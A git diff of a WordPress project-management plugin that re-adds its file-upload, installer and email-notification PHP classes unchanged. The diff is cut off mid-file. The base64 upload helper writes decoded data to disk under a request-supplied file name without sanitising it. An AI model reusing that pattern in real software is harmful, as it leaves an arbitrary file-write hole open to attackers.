$fillable = [ + 'id', + 'migration' + ]; } \ No newline at end of file diff --git a/core/File_System/File_System.php b/core/File_System/File_System.php index 8967de266..7fd07b0ae 100644 --- a/core/File_System/File_System.php +++ b/core/File_System/File_System.php @@ -1,174 +1,174 @@ - false ) ); - $attachment_id = self::attachment_id( $uploaded_file ); - do_action( 'cpm_after_upload_file', $$attachment_id ); - - return $attachment_id; - } - - public static function upload_base64_file( $file ) { - if ( ! function_exists( 'wp_handle_sideload' ) ) { - require_once( ABSPATH . 'wp-admin/includes/file.php' ); - } - $file_to_upload = self::decode_base64( $file ); - - if ( !$file_to_upload ) { - return; - } - $uploaded_file = wp_handle_sideload( $file_to_upload, array( 'test_form' => false ) ); - $attachment_id = self::attachment_id( $uploaded_file ); - - return $attachment_id; - } - - public static function upload_base64_files( $files ) { - if ( ! function_exists( 'wp_handle_sideload' ) ) { - require_once( ABSPATH . 'wp-admin/includes/file.php' ); - } - - $attachment_ids = []; - - foreach( $files as $key => $file ) { - $file_to_upload = self::decode_base64( $file ); - - $uploaded_file = wp_handle_sideload( $file_to_upload, array( 'test_form' => false ) ); - $attachment_ids[] = self::attachment_id( $uploaded_file ); - } - - return array_filter( $attachment_ids ); - } - - - public static function decode_base64( $file ) { - - $upload_dir = wp_upload_dir(); - $upload_path = str_replace( '/', DIRECTORY_SEPARATOR, $upload_dir['path'] ) . DIRECTORY_SEPARATOR; - $encode_explode = explode( ',', $file['thumb'] ); - - if ( empty( $encode_explode[1] ) ) { - return false; - } - - $encodedData = str_replace( ' ', '+' , $encode_explode[1] ); - $decoded = base64_decode( $encodedData ); - $filename = $file['id'] .'-'. $file['name']; - $image_upload = file_put_contents( $upload_path . $filename, $decoded ); - - $uploaded = array(); - $uploaded['error'] = ''; - $uploaded['tmp_name'] = $upload_path . $filename; - $uploaded['name'] = $file['name']; - $uploaded['type'] = $file['type']; - $uploaded['size'] = filesize( $upload_path . $filename ); - - return $uploaded; - } - - public static function multiple_upload( $file ) { - if ( ! function_exists( 'wp_handle_upload' ) ) { - require_once( ABSPATH . 'wp-admin/includes/file.php' ); - } - - $number_of_files = count( $file['name'] ); - $attachment_ids = []; - - for( $i = 0; $i < $number_of_files; $i++ ) { - $file_to_upload = [ - 'name' => $file['name'][$i], - 'type' => $file['type'][$i], - 'tmp_name' => $file['tmp_name'][$i], - 'error' => $file['error'][$i], - 'size' => $file['size'][$i], - ]; - - $uploaded_file = wp_handle_upload( $file_to_upload, array( 'test_form' => false ) ); - $attachment_ids[] = self::attachment_id( $uploaded_file ); - } - - return array_filter( $attachment_ids ); - } - - public static function attachment_id( $uploaded_file ) { - if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) { - require_once( ABSPATH . 'wp-admin/includes/image.php' ); - require_once( ABSPATH . 'wp-admin/includes/media.php' ); - } - if ( isset( $uploaded_file['error'] ) ) { - return; - } - - $file_location = $uploaded_file['file']; - $file_name = basename( $uploaded_file['file'] ); - $file_type = wp_check_filetype( $file_name ); - - $attachment_data = array( - 'post_mime_type' => $file_type['type'], - 'post_title' => preg_replace( '/\.[^.]+$/', '', basename( $file_name ) ), - 'post_content' => '', - 'post_status' => 'inherit' - ); - - $attachment_id = wp_insert_attachment( $attachment_data, $file_location ); - $attachment_metadata = wp_generate_attachment_metadata( $attachment_id, $file_location ); - - wp_update_attachment_metadata( $attachment_id, $attachment_metadata ); - - return $attachment_id; - } - - public static function get_file( $attachment_id ) { - $file = get_post( $attachment_id ); - - if ( $file ) { - $response = array( - 'name' => get_the_title( $attachment_id ), - 'url' => wp_get_attachment_url( $attachment_id ), - ); - - $file_type = wp_check_filetype( $response['url'] ); - - if ( wp_attachment_is_image( $attachment_id ) ) { - $thumb = wp_get_attachment_image_src( $attachment_id, 'thumbnail' ); - $response['thumb'] = $thumb[0]; - $response['type'] = 'image'; - } else { - $response['thumb'] = wp_mime_type_icon( $file->post_mime_type ); - $response['type'] = 'file'; - } - - $response['file_extension'] = $file_type['ext']; - $response['mime_type'] = $file_type['type']; - - return $response; - } - - return false; - } - - public static function delete( $file_id, $force = true ) { - do_action( 'cpm_delete_attachment', $file_id, $force ); - wp_delete_attachment( $file_id, $force ); - } - - public static function update( $attach_id, $attach_data ) { - $args = array( - 'ID' => $attach_id, - 'post_title' => $attach_data['name'], - ); - - wp_update_post( $args ); - } - -} + false ) ); + $attachment_id = self::attachment_id( $uploaded_file ); + do_action( 'cpm_after_upload_file', $$attachment_id ); + + return $attachment_id; + } + + public static function upload_base64_file( $file ) { + if ( ! function_exists( 'wp_handle_sideload' ) ) { + require_once( ABSPATH . 'wp-admin/includes/file.php' ); + } + $file_to_upload = self::decode_base64( $file ); + + if ( !$file_to_upload ) { + return; + } + $uploaded_file = wp_handle_sideload( $file_to_upload, array( 'test_form' => false ) ); + $attachment_id = self::attachment_id( $uploaded_file ); + + return $attachment_id; + } + + public static function upload_base64_files( $files ) { + if ( ! function_exists( 'wp_handle_sideload' ) ) { + require_once( ABSPATH . 'wp-admin/includes/file.php' ); + } + + $attachment_ids = []; + + foreach( $files as $key => $file ) { + $file_to_upload = self::decode_base64( $file ); + + $uploaded_file = wp_handle_sideload( $file_to_upload, array( 'test_form' => false ) ); + $attachment_ids[] = self::attachment_id( $uploaded_file ); + } + + return array_filter( $attachment_ids ); + } + + + public static function decode_base64( $file ) { + + $upload_dir = wp_upload_dir(); + $upload_path = str_replace( '/', DIRECTORY_SEPARATOR, $upload_dir['path'] ) . DIRECTORY_SEPARATOR; + $encode_explode = explode( ',', $file['thumb'] ); + + if ( empty( $encode_explode[1] ) ) { + return false; + } + + $encodedData = str_replace( ' ', '+' , $encode_explode[1] ); + $decoded = base64_decode( $encodedData ); + $filename = $file['id'] .'-'. $file['name']; + $image_upload = file_put_contents( $upload_path . $filename, $decoded ); + + $uploaded = array(); + $uploaded['error'] = ''; + $uploaded['tmp_name'] = $upload_path . $filename; + $uploaded['name'] = $file['name']; + $uploaded['type'] = $file['type']; + $uploaded['size'] = filesize( $upload_path . $filename ); + + return $uploaded; + } + + public static function multiple_upload( $file ) { + if ( ! function_exists( 'wp_handle_upload' ) ) { + require_once( ABSPATH . 'wp-admin/includes/file.php' ); + } + + $number_of_files = count( $file['name'] ); + $attachment_ids = []; + + for( $i = 0; $i < $number_of_files; $i++ ) { + $file_to_upload = [ + 'name' => $file['name'][$i], + 'type' => $file['type'][$i], + 'tmp_name' => $file['tmp_name'][$i], + 'error' => $file['error'][$i], + 'size' => $file['size'][$i], + ]; + + $uploaded_file = wp_handle_upload( $file_to_upload, array( 'test_form' => false ) ); + $attachment_ids[] = self::attachment_id( $uploaded_file ); + } + + return array_filter( $attachment_ids ); + } + + public static function attachment_id( $uploaded_file ) { + if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) { + require_once( ABSPATH . 'wp-admin/includes/image.php' ); + require_once( ABSPATH . 'wp-admin/includes/media.php' ); + } + if ( isset( $uploaded_file['error'] ) ) { + return; + } + + $file_location = $uploaded_file['file']; + $file_name = basename( $uploaded_file['file'] ); + $file_type = wp_check_filetype( $file_name ); + + $attachment_data = array( + 'post_mime_type' => $file_type['type'], + 'post_title' => preg_replace( '/\.[^.]+$/', '', basename( $file_name ) ), + 'post_content' => '', + 'post_status' => 'inherit' + ); + + $attachment_id = wp_insert_attachment( $attachment_data, $file_location ); + $attachment_metadata = wp_generate_attachment_metadata( $attachment_id, $file_location ); + + wp_update_attachment_metadata( $attachment_id, $attachment_metadata ); + + return $attachment_id; + } + + public static function get_file( $attachment_id ) { + $file = get_post( $attachment_id ); + + if ( $file ) { + $response = array( + 'name' => get_the_title( $attachment_id ), + 'url' => wp_get_attachment_url( $attachment_id ), + ); + + $file_type = wp_check_filetype( $response['url'] ); + + if ( wp_attachment_is_image( $attachment_id ) ) { + $thumb = wp_get_attachment_image_src( $attachment_id, 'thumbnail' ); + $response['thumb'] = $thumb[0]; + $response['type'] = 'image'; + } else { + $response['thumb'] = wp_mime_type_icon( $file->post_mime_type ); + $response['type'] = 'file'; + } + + $response['file_extension'] = $file_type['ext']; + $response['mime_type'] = $file_type['type']; + + return $response; + } + + return false; + } + + public static function delete( $file_id, $force = true ) { + do_action( 'cpm_delete_attachment', $file_id, $force ); + wp_delete_attachment( $file_id, $force ); + } + + public static function update( $attach_id, $attach_data ) { + $args = array( + 'ID' => $attach_id, + 'post_title' => $attach_data['name'], + ); + + wp_update_post( $args ); + } + +} diff --git a/core/Installer/Installer.php b/core/Installer/Installer.php index 0cf9447f1..3295e8446 100644 --- a/core/Installer/Installer.php +++ b/core/Installer/Installer.php @@ -1,32 +1,32 @@ -run(); - - $was_installed_before = get_option( 'pm_db_version', false ); - - if ( ! $was_installed_before ) { - set_transient( '_pm_setup_page_redirect', true, 30 ); - } - - $this->set_admin_capability(); - } - - function set_admin_capability() { - - $admin_users = get_users( [ 'role' => 'Administrator' ] ); - - if ( $admin_users ) { - foreach ( $admin_users as $admin_user ) { - $admin_user->add_cap( pm_admin_cap_slug() ); - } - } - } - } +run(); + + $was_installed_before = get_option( 'pm_db_version', false ); + + if ( ! $was_installed_before ) { + set_transient( '_pm_setup_page_redirect', true, 30 ); + } + + $this->set_admin_capability(); + } + + function set_admin_capability() { + + $admin_users = get_users( [ 'role' => 'Administrator' ] ); + + if ( $admin_users ) { + foreach ( $admin_users as $admin_user ) { + $admin_user->add_cap( pm_admin_cap_slug() ); + } + } + } + } diff --git a/core/Notifications/Background_Emailer.php b/core/Notifications/Background_Emailer.php index 40fd06570..90449ddc0 100644 --- a/core/Notifications/Background_Emailer.php +++ b/core/Notifications/Background_Emailer.php @@ -1,112 +1,112 @@ -data ) ) { - $this->save()->dispatch(); - } - } - - - /** - * Handle - * - * Pass each queue item to the task handler, while remaining - * within server memory and time limit constraints. - */ - protected function handle() { - $this->lock_process(); - - do { - $batch = $this->get_batch(); - - if ( empty( $batch->data ) ) { - break; - } - - foreach ( $batch->data as $key => $value ) { - $task = $this->task( $value ); - - if ( false !== $task ) { - $batch->data[ $key ] = $task; - } else { - unset( $batch->data[ $key ] ); - } - - // Update batch before sending more to prevent duplicate email possibility. - $this->update( $batch->key, $batch->data ); - - if ( $this->time_exceeded() || $this->memory_exceeded() ) { - // Batch limits reached. - break; - } - } - if ( empty( $batch->data ) ) { - $this->delete( $batch->key ); - } - } while ( ! $this->time_exceeded() && ! $this->memory_exceeded() && ! $this->is_queue_empty() ); - - $this->unlock_process(); - - // Start next batch or complete process. - if ( ! $this->is_queue_empty() ) { - $this->dispatch(); - } else { - $this->complete(); - } - } -} +data ) ) { + $this->save()->dispatch(); + } + } + + + /** + * Handle + * + * Pass each queue item to the task handler, while remaining + * within server memory and time limit constraints. + */ + protected function handle() { + $this->lock_process(); + + do { + $batch = $this->get_batch(); + + if ( empty( $batch->data ) ) { + break; + } + + foreach ( $batch->data as $key => $value ) { + $task = $this->task( $value ); + + if ( false !== $task ) { + $batch->data[ $key ] = $task; + } else { + unset( $batch->data[ $key ] ); + } + + // Update batch before sending more to prevent duplicate email possibility. + $this->update( $batch->key, $batch->data ); + + if ( $this->time_exceeded() || $this->memory_exceeded() ) { + // Batch limits reached. + break; + } + } + if ( empty( $batch->data ) ) { + $this->delete( $batch->key ); + } + } while ( ! $this->time_exceeded() && ! $this->memory_exceeded() && ! $this->is_queue_empty() ); + + $this->unlock_process(); + + // Start next batch or complete process. + if ( ! $this->is_queue_empty() ) { + $this->dispatch(); + } else { + $this->complete(); + } + } +} diff --git a/core/Notifications/Email.php b/core/Notifications/Email.php index 94525c488..5e608b56e 100644 --- a/core/Notifications/Email.php +++ b/core/Notifications/Email.php @@ -1,217 +1,217 @@ -email_header(); - $this->load_templae( $template, $args ); - //$this->email_footer(); - return ob_get_clean(); - } - - - public function load_templae( $file, $args = null ) { - if ( $args && is_array( $args ) ) { - extract( $args ); - } - - $link = $this->pm_link(); - - if ( file_exists( $file ) ) { - include( $file ); - } - } - - public function get_template_path( $template_name, $module = null ) { - - $child_theme_dir = get_stylesheet_directory() . '/pm/emails'; - $parent_theme_dir = get_template_directory() . '/pm/emails'; - $mail_dir = config('frontend.view_path'). '/emails'; - - if ( function_exists('pm_pro_config') ) { - $pro_dir = pm_pro_config('define.view_path').'/emails'; - if ( $module != null ) { - $module_path = pm_pro_config('define.module_path').'/'. $module . 'views/emails'; - } - } - - if ( file_exists( $child_theme_dir . $template_name ) ) { - return $child_theme_dir . $template_name; - } else if ( file_exists( $parent_theme_dir . $template_name ) ) { - return $parent_theme_dir . $template_name; - } else if ( file_exists( $mail_dir . $template_name ) ) { - return $mail_dir . $template_name; - }else if ( isset($pro_dir) && file_exists( $pro_dir . $template_name ) ){ - return $pro_dir . $template_name; - }else if ( isset($module_path) && file_exists( $module_path . $template_name ) ){ - return $module_path . $template_name; - } - } - - /** - * Get email header - * - * @param string $action - * - * @since 2.0 - * - * @return void - */ - function email_header() { - $header_file = apply_filters( 'pm_email_header_file', $this->get_template_path( '/html/header.php' ) ); - $this->load_templae( $header_file ); - } - - /** - * Get email footer - * - * @param string $action - * - * @since 2.0 - * - * @return void - */ - public function email_footer() { - $footer_file = apply_filters( 'pm_email_footer_file', $this->get_template_path( '/html/footer.php' ) ); - $this->load_templae( $footer_file ); - } - - public function is_enable_user_notification( $user_id ) { - if ( !is_numeric( $user_id ) ) { - return false; - } - - $user_email_notification = get_user_meta( $user_id, '_cpm_email_notification', true ); - - if ( $user_email_notification == 'off' ) { - return false; - } - - return true; - } - - public function is_enable_user_notification_for_notification_type( $user_id, $notification_type) { - - if (!is_numeric( $user_id ) ) { - return false; - } - - $user_email_notification = get_user_meta( $user_id, $notification_type, true ); - - if ( $user_email_notification == 'off' ) { - return false; - } - - return true; - } - - public function from_email() { - $email = pm_get_setting( 'from_email' ); - $email = empty( $email ) ? get_bloginfo('admin_email'): $email; - return apply_filters('pm_from_email', $email); - } - - public function is_bcc_enable() { - $enable_bcc = pm_get_setting( 'enable_bcc' ); - $enable_bcc = isset( $enable_bcc ) ? $enable_bcc == "true" : false; - return apply_filters( 'pm_enable_bcc', $enable_bcc ) ; - } - - public function email_type() { - $email_type = pm_get_setting('email_type'); - $email_type = isset( $email_type ) ? $email_type : 'text/html'; - return apply_filters( 'pm_email_type', $email_type ); - } - - public function link_to_backend() { - $link_to_backend = pm_get_setting('link_to_backend'); - $link_to_backend = ( isset( $link_to_backend ) && $link_to_backend == 'false' ) ? false : true; - return apply_filters('pm_email_link_to_backend', $link_to_backend ) ; - } - - public function pm_link() { - if( !$this->link_to_backend() ) { - $pages = get_option('pm_pages', []); - $project = isset( $pages['project'] ) ? intval( $pages['project'] ) : ''; - - if ( $project ) { - return get_permalink( $project ); - } - } - return admin_url( 'admin.php?page=pm_projects' ); - } - - function notify_manager() { - return apply_filters( 'notify_project_managers', false ); - } - /** - * Get WordPress blog name. - * - * @return string - */ - public function get_blogname() { - return wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); - } - - public static function send( $to, $subject, $message, $headers = [], $attachments = null ) { - - $blogname = self::getInstance()->get_blogname(); - $server_name = isset( $_SERVER['SERVER_NAME'] ) ? sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ): ''; - $no_reply = 'no-reply@' . preg_replace( '#^www\.#', '', strtolower( $server_name ) ); - $content_type = 'Content-Type: text/html'; - $charset = 'Charset: UTF-8'; - $from_email = self::getInstance()->from_email(); - $from = "From: $blogname <$from_email>"; - $reply_to = "Reply-To: $no_reply"; - - if ( self::getInstance()->is_bcc_enable() ) { - - if ( is_array( $to ) ) { - $bcc = 'Bcc: ' . implode(',', $to); - } else { - $bcc = 'Bcc: ' . $to; - } - - $headers = array( - $bcc, - $reply_to, - $content_type, - $charset, - $from_email - ); - - return wp_mail( $from_email, $subject, wp_kses_post( htmlspecialchars_decode( $message ) ), $headers, $attachments ); - - } else { - - $headers = array( - $reply_to, - $content_type, - $charset, - $from, - ); - - return wp_mail( $to, $subject, wp_kses_post( htmlspecialchars_decode( $message ) ), $headers, $attachments ); - } - } -} +email_header(); + $this->load_templae( $template, $args ); + //$this->email_footer(); + return ob_get_clean(); + } + + + public function load_templae( $file, $args = null ) { + if ( $args && is_array( $args ) ) { + extract( $args ); + } + + $link = $this->pm_link(); + + if ( file_exists( $file ) ) { + include( $file ); + } + } + + public function get_template_path( $template_name, $module = null ) { + + $child_theme_dir = get_stylesheet_directory() . '/pm/emails'; + $parent_theme_dir = get_template_directory() . '/pm/emails'; + $mail_dir = config('frontend.view_path'). '/emails'; + + if ( function_exists('pm_pro_config') ) { + $pro_dir = pm_pro_config('define.view_path').'/emails'; + if ( $module != null ) { + $module_path = pm_pro_config('define.module_path').'/'. $module . 'views/emails'; + } + } + + if ( file_exists( $child_theme_dir . $template_name ) ) { + return $child_theme_dir . $template_name; + } else if ( file_exists( $parent_theme_dir . $template_name ) ) { + return $parent_theme_dir . $template_name; + } else if ( file_exists( $mail_dir . $template_name ) ) { + return $mail_dir . $template_name; + }else if ( isset($pro_dir) && file_exists( $pro_dir . $template_name ) ){ + return $pro_dir . $template_name; + }else if ( isset($module_path) && file_exists( $module_path . $template_name ) ){ + return $module_path . $template_name; + } + } + + /** + * Get email header + * + * @param string $action + * + * @since 2.0 + * + * @return void + */ + function email_header() { + $header_file = apply_filters( 'pm_email_header_file', $this->get_template_path( '/html/header.php' ) ); + $this->load_templae( $header_file ); + } + + /** + * Get email footer + * + * @param string $action + * + * @since 2.0 + * + * @return void + */ + public function email_footer() { + $footer_file = apply_filters( 'pm_email_footer_file', $this->get_template_path( '/html/footer.php' ) ); + $this->load_templae( $footer_file ); + } + + public function is_enable_user_notification( $user_id ) { + if ( !is_numeric( $user_id ) ) { + return false; + } + + $user_email_notification = get_user_meta( $user_id, '_cpm_email_notification', true ); + + if ( $user_email_notification == 'off' ) { + return false; + } + + return true; + } + + public function is_enable_user_notification_for_notification_type( $user_id, $notification_type) { + + if (!is_numeric( $user_id ) ) { + return false; + } + + $user_email_notification = get_user_meta( $user_id, $notification_type, true ); + + if ( $user_email_notification == 'off' ) { + return false; + } + + return true; + } + + public function from_email() { + $email = pm_get_setting( 'from_email' ); + $email = empty( $email ) ? get_bloginfo('admin_email'): $email; + return apply_filters('pm_from_email', $email); + } + + public function is_bcc_enable() { + $enable_bcc = pm_get_setting( 'enable_bcc' ); + $enable_bcc = isset( $enable_bcc ) ? $enable_bcc == "true" : false; + return apply_filters( 'pm_enable_bcc', $enable_bcc ) ; + } + + public function email_type() { + $email_type = pm_get_setting('email_type'); + $email_type = isset( $email_type ) ? $email_type : 'text/html'; + return apply_filters( 'pm_email_type', $email_type ); + } + + public function link_to_backend() { + $link_to_backend = pm_get_setting('link_to_backend'); + $link_to_backend = ( isset( $link_to_backend ) && $link_to_backend == 'false' ) ? false : true; + return apply_filters('pm_email_link_to_backend', $link_to_backend ) ; + } + + public function pm_link() { + if( !$this->link_to_backend() ) { + $pages = get_option('pm_pages', []); + $project = isset( $pages['project'] ) ? intval( $pages['project'] ) : ''; + + if ( $project ) { + return get_permalink( $project ); + } + } + return admin_url( 'admin.php?page=pm_projects' ); + } + + function notify_manager() { + return apply_filters( 'notify_project_managers', false ); + } + /** + * Get WordPress blog name. + * + * @return string + */ + public function get_blogname() { + return wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); + } + + public static function send( $to, $subject, $message, $headers = [], $attachments = null ) { + + $blogname = self::getInstance()->get_blogname(); + $server_name = isset( $_SERVER['SERVER_NAME'] ) ? sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ): ''; + $no_reply = 'no-reply@' . preg_replace( '#^www\.#', '', strtolower( $server_name ) ); + $content_type = 'Content-Type: text/html'; + $charset = 'Charset: UTF-8'; + $from_email = self::getInstance()->from_email(); + $from = "From: $blogname <$from_email>"; + $reply_to = "Reply-To: $no_reply"; + + if ( self::getInstance()->is_bcc_enable() ) { + + if ( is_array( $to ) ) { + $bcc = 'Bcc: ' . implode(',', $to); + } else { + $bcc = 'Bcc: ' . $to; + } + + $headers = array( + $bcc, + $reply_to, + $content_type, + $charset, + $from_email + ); + + return wp_mail( $from_email, $subject, wp_kses_post( htmlspecialchars_decode( $message ) ), $headers, $attachments ); + + } else { + + $headers = array( + $reply_to, + $content_type, + $charset, + $from, + ); + + return wp_mail( $to, $subject, wp_kses_post( htmlspecialchars_decode( $message ) ), $headers, $attachments ); + } + } +} diff --git a/core/Notifications/Emails/Complete_Task_Notification.php b/core/Notifications/Emails/Complete_Task_Notification.php index 2d8e08c48..1e99e0d52 100644 --- a/core/Notifications/Emails/Complete_Task_Notification.php +++ b/core/Notifications/Emails/Complete_Task_Notification.php @@ -1,55 +1,55 @@ - $task->id ] ); - $task_raw = $task_raw['data']; - $task_raw['completed_by'] = wp_get_current_user(); - - $task->load('assignees.assigned_user', 'projects.managers', 'creator', 'updater'); - $users = array(); - - foreach ($task->assignees->toArray() as $assignee ) { - if( $this->is_enable_user_notification( $assignee['assigned_to'] ) ){ - if( $this->is_enable_user_notification_for_notification_type( $assignee['assigned_to'], '_cpm_email_notification_complete_task' ) ){ - $users[] = $assignee['assigned_user']['user_email']; - } - } - } - - if ( $this->notify_manager() ) { - foreach ( $task->projects->managers->toArray() as $u ) { - if( !in_array($u['user_email'], $users )){ - $users[] = $u['user_email']; - } - } - } - - if ( !$users ) { - return ; - } - - $template_name = apply_filters( 'pm_complete_task_email_template_path', $this->get_template_path( '/html/complete-task.php' ) ); - $subject = sprintf( __( '[%s] %s Task mark as %s in %s', 'wedevs-project-manager' ), $this->get_blogname(), $task->title, $task->status, $task->projects->title ); - $message = $this->get_content_html( $template_name, $task_raw ); - - $this->send( $users, $subject, $message ); - - } - -} + $task->id ] ); + $task_raw = $task_raw['data']; + $task_raw['completed_by'] = wp_get_current_user(); + + $task->load('assignees.assigned_user', 'projects.managers', 'creator', 'updater'); + $users = array(); + + foreach ($task->assignees->toArray() as $assignee ) { + if( $this->is_enable_user_notification( $assignee['assigned_to'] ) ){ + if( $this->is_enable_user_notification_for_notification_type( $assignee['assigned_to'], '_cpm_email_notification_complete_task' ) ){ + $users[] = $assignee['assigned_user']['user_email']; + } + } + } + + if ( $this->notify_manager() ) { + foreach ( $task->projects->managers->toArray() as $u ) { + if( !in_array($u['user_email'], $users )){ + $users[] = $u['user_email']; + } + } + } + + if ( !$users ) { + return ; + } + + $template_name = apply_filters( 'pm_complete_task_email_template_path', $this->get_template_path( '/html/complete-task.php' ) ); + $subject = sprintf( __( '[%s] %s Task mark as %s in %s', 'wedevs-project-manager' ), $this->get_blogname(), $task->title, $task->status, $task->projects->title ); + $message = $this->get_content_html( $template_name, $task_raw ); + + $this->send( $users, $subject, $message ); + + } + +} diff --git a/core/Notifications/Emails/New_Comment_Notification.php b/core/Notifications/Emails/New_Comment_Notification.php index 8aa51c272..374ead2f0 100644 --- a/core/Notifications/Emails/New_Comment_Notification.php +++ b/core/Notifications/Emails/New_Comment_Notification.php @@ -1,98 +1,98 @@ -find( $request['project_id'] ); - $users = array(); - $notify_users = explode( ',', $request['notify_users'] ); - - foreach ( $notify_users as $u ) { - if( $this->is_enable_user_notification( $u ) ){ - if( $this->is_enable_user_notification_for_notification_type( $u, '_cpm_email_notification_new_comment' ) ){ - $users[] = $project->assignees->where( 'ID', $u )->first()->user_email; - } - } - } - - if( $this->notify_manager() ){ - foreach ( $project->managers->toArray() as $u ) { - if ( !in_array( $u['user_email'], $users ) ) { - $users[] = $u['user_email']; - } - } - } - - if ( !$users ){ - return ; - } - - if ( $request['commentable_type'] == 'discussion_board' ) { - $type = __( 'Message', 'wedevs-project-manager' ); - $comment_link = $this->pm_link() . '#/projects/'.$project->id.'/discussions/'.$request['commentable_id']; - $title = Discussion_Board::find( $request['commentable_id'] )->title; - - } else if ( $request['commentable_type'] == 'task_list' ) { - $type = __( 'Task List', 'wedevs-project-manager' ); - $comment_link = $this->pm_link() . '#/projects/'.$project->id.'/task-lists/'.$request['commentable_id']; - $title = Task_List::find( $request['commentable_id'] )->title; - - } else if ( $request['commentable_type'] == 'task' ) { - $type = __( 'Task', 'wedevs-project-manager' ); - $comment_link = $this->pm_link() . '#/projects/'.$project->id. '/task-lists/tasks/'.$request['commentable_id']; - $title = Task::find( $request['commentable_id'] )->title; - - } else if ( $request['commentable_type'] == 'file' ) { - $type = __( 'File', 'wedevs-project-manager' ); - $file = File::find($request['commentable_id']); - $comment_link = $this->pm_link() . '#/projects/'. $project->id .'/files/'. $file->parent .'/'. $file->type .'/'. $request['commentable_id']; - $filemeta = Meta::where( 'project_id', $request['project_id'] ) - ->where( 'entity_type', 'file' ) - ->where( 'entity_id', $request['commentable_id']) - ->where( 'meta_key', 'title' ) - ->first(); - $title = $filemeta->meta_value; - } - - $template_name = apply_filters( 'pm_new_comment_email_template_path', $this->get_template_path( '/html/new-comment.php' ) ); - $subject = sprintf( __( '[%s][%s] New Comment on: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project->title , $title ); - - $message = $this->get_content_html( $template_name, [ - 'id' => $commentData['data']['id'], - 'content' => $request['content'], - 'updater' => $commentData['data']['updater']['data']['display_name'], - 'commnetable_title' => $title, - 'commnetable_type' => $type, - 'comment_link' => $comment_link, - 'created_at' => $commentData['data']['created_at']['date'], - 'creator' => $commentData['data']['creator'], - ] ); - - $this->send( $users, $subject, $message ); - } - -} +find( $request['project_id'] ); + $users = array(); + $notify_users = explode( ',', $request['notify_users'] ); + + foreach ( $notify_users as $u ) { + if( $this->is_enable_user_notification( $u ) ){ + if( $this->is_enable_user_notification_for_notification_type( $u, '_cpm_email_notification_new_comment' ) ){ + $users[] = $project->assignees->where( 'ID', $u )->first()->user_email; + } + } + } + + if( $this->notify_manager() ){ + foreach ( $project->managers->toArray() as $u ) { + if ( !in_array( $u['user_email'], $users ) ) { + $users[] = $u['user_email']; + } + } + } + + if ( !$users ){ + return ; + } + + if ( $request['commentable_type'] == 'discussion_board' ) { + $type = __( 'Message', 'wedevs-project-manager' ); + $comment_link = $this->pm_link() . '#/projects/'.$project->id.'/discussions/'.$request['commentable_id']; + $title = Discussion_Board::find( $request['commentable_id'] )->title; + + } else if ( $request['commentable_type'] == 'task_list' ) { + $type = __( 'Task List', 'wedevs-project-manager' ); + $comment_link = $this->pm_link() . '#/projects/'.$project->id.'/task-lists/'.$request['commentable_id']; + $title = Task_List::find( $request['commentable_id'] )->title; + + } else if ( $request['commentable_type'] == 'task' ) { + $type = __( 'Task', 'wedevs-project-manager' ); + $comment_link = $this->pm_link() . '#/projects/'.$project->id. '/task-lists/tasks/'.$request['commentable_id']; + $title = Task::find( $request['commentable_id'] )->title; + + } else if ( $request['commentable_type'] == 'file' ) { + $type = __( 'File', 'wedevs-project-manager' ); + $file = File::find($request['commentable_id']); + $comment_link = $this->pm_link() . '#/projects/'. $project->id .'/files/'. $file->parent .'/'. $file->type .'/'. $request['commentable_id']; + $filemeta = Meta::where( 'project_id', $request['project_id'] ) + ->where( 'entity_type', 'file' ) + ->where( 'entity_id', $request['commentable_id']) + ->where( 'meta_key', 'title' ) + ->first(); + $title = $filemeta->meta_value; + } + + $template_name = apply_filters( 'pm_new_comment_email_template_path', $this->get_template_path( '/html/new-comment.php' ) ); + $subject = sprintf( __( '[%s][%s] New Comment on: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project->title , $title ); + + $message = $this->get_content_html( $template_name, [ + 'id' => $commentData['data']['id'], + 'content' => $request['content'], + 'updater' => $commentData['data']['updater']['data']['display_name'], + 'commnetable_title' => $title, + 'commnetable_type' => $type, + 'comment_link' => $comment_link, + 'created_at' => $commentData['data']['created_at']['date'], + 'creator' => $commentData['data']['creator'], + ] ); + + $this->send( $users, $subject, $message ); + } + +} diff --git a/core/Notifications/Emails/New_Message_Notification.php b/core/Notifications/Emails/New_Message_Notification.php index 443a24d33..f14e07bba 100644 --- a/core/Notifications/Emails/New_Message_Notification.php +++ b/core/Notifications/Emails/New_Message_Notification.php @@ -1,65 +1,65 @@ - $message['data']['id'] ] ); - $message = $message['data']; - $project_id = $message['project_id']; - $project = pm_get_projects( ['id' => $project_id, 'with' => 'assignees'] ); - $project = $project['data']; //Project::with('assignees', 'managers')->find( $request['project_id'] ); - $message['project'] = $project; - $users = array(); - $notify_users = explode( ',', $request['notify_users'] ); - $project_users = []; - - foreach ( $project['assignees']['data'] as $key => $project_user ) { - $project_users[$project_user->id] = $project_user; - } - - foreach ($notify_users as $u ) { - if( $this->is_enable_user_notification( $u ) ){ - if( $this->is_enable_user_notification_for_notification_type( $u, '_cpm_email_notification_new_message' ) ){ - $users[] = $project_users[$u]->email; - } - } - } - - // if ( $this->notify_manager() ){ - // foreach ( $project->managers->toArray() as $u ) { - // if(!in_array($u['user_email'], $users)){ - // $users[] = $u['user_email']; - // } - // } - // } - - if( !$users ){ - return ; - } - - $template_name = apply_filters( 'pm_new_message_email_template_path', $this->get_template_path( '/html/new-message.php' ) ); - $subject = sprintf( __( '[%s][%s] New Message: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project['title'] , $request['title'] ); - - $message = $this->get_content_html( $template_name, $message ); - - $this->send( $users, $subject, $message ); - } - -} + $message['data']['id'] ] ); + $message = $message['data']; + $project_id = $message['project_id']; + $project = pm_get_projects( ['id' => $project_id, 'with' => 'assignees'] ); + $project = $project['data']; //Project::with('assignees', 'managers')->find( $request['project_id'] ); + $message['project'] = $project; + $users = array(); + $notify_users = explode( ',', $request['notify_users'] ); + $project_users = []; + + foreach ( $project['assignees']['data'] as $key => $project_user ) { + $project_users[$project_user->id] = $project_user; + } + + foreach ($notify_users as $u ) { + if( $this->is_enable_user_notification( $u ) ){ + if( $this->is_enable_user_notification_for_notification_type( $u, '_cpm_email_notification_new_message' ) ){ + $users[] = 